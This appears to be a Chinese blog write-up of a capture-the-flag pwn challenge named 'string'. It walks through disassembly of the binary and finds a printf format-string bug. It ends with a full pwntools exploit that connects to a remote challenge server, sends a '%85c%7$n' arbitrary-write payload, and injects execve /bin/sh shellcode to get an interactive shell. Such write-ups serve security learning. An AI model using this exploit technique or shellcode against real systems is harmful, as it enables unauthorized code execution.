string

作者: 常向阳_ | 来源:发表于2019-08-08 18:23 被阅读0次
    image.png

    0x00 filechecksec

    image.png

    0x01 ida查看

    image.png
    • 上面是主体函数,其中会调用sub_400D72(v4),其中v4=(__int64)v3

    0x02 进入sub_400D72()查看

    image.png
    • 这里又会调用三个函数,分别进去查看

    0x03 sub_400A7D

    image.png
    • 这里的逻辑是输入eastup,输入eastbreak,输入up会进入sub_4009DD,但是进入sub_4009DD分析是不可行的,"YOU ARE DEAD",所以这里选择east
      image.png

    0x04 sub_400BB9

    image.png
    • 明显存在printf漏洞,先别急,先把流程看完

    0x05 sub_400CA6

    image.png
    • 这里要求*a1 == a1[1],也就是a[0] == a[1],而a[1]其实是main里传来的v4
    • 重新回到main查看,v4 = (__int64)v3*v3 = 68v3[1] = 85
    • 意思就是要求v3[0] == v3[1],也就是v3[0]=85v3[1]=68
      image.png
    • 17行这里其实是将v1强转为函数指针类型
    • 看汇编代码就很容易看出,最后进行了call调用(这里可以写入shellcode执行)
      image.png

    0x06 思路

    • 思路也就有了,通过printf任意地址写使得v3[0] == v3[1],这里使得v3[0]=v3[1]=85
    • 所以就需要知道v3[0]的地址,在main函数发现其实secret[0]v3[0]的地址,所以就可以利用printf任意地址写修改v3[0]处的值了
    • 64位程序下,前6个参数从左到右依次放到RDIRSIRDXRCXR8R9中,所以从n=7开始,我们就可以修改栈中的数据为85
      image.png
    • 这样的话就绕过了*a1 == a1[1],最后只需写入shellcode调用执行即可

    0x07 完整exp

    from pwn import *
    
    local=0
    pc='./string'
    aslr=True
    context.log_level=True
    context.terminal = ["deepin-terminal","-x","sh","-c"]
    
    libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    if local==1:
        #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
        p = process(pc,aslr=aslr)
        #gdb.attach(p,'c')
    else:
        remote_addr=['111.198.29.45', 45969]
        p=remote(remote_addr[0],remote_addr[1])
    
    ru = lambda x : p.recvuntil(x)
    sn = lambda x : p.send(x)
    rl = lambda   : p.recvline()
    sl = lambda x : p.sendline(x)
    rv = lambda x : p.recv(x)
    sa = lambda a,b : p.sendafter(a,b)
    sla = lambda a,b : p.sendlineafter(a,b)
    
    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
    
    def raddr(a=6):
        if(a==6):
            return u64(rv(a).ljust(8,'\x00'))
        else:
            return u64(rl().strip('\n').ljust(8,'\x00'))
    
    if __name__ == '__main__':
        ru('secret[0] is ')
        v3_0_addr = int(ru('\n')[:-1], 16)
        log.info('v3_0_addr', hex(v3_0_addr))
        ru('name be:\n')
        sl('cxy')
        ru('east or up?:\n')
        sl('east')
        ru('go into there(1), or leave(0)?:\n')
        sl('1')
        ru("'Give me an address'\n")
        sl(str(v3_0_addr))
        ru('you wish is:\n')
        sl('%85c%7$n')
    
        ru('SPELL\n')
        shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
        sl(shellcode)
        p.interactive()
    

    0x07 结果

    image.png

    相关文章

      网友评论

        本文标题:string

        本文链接:https://www.haomeiwen.com/subject/fhlvdctx.html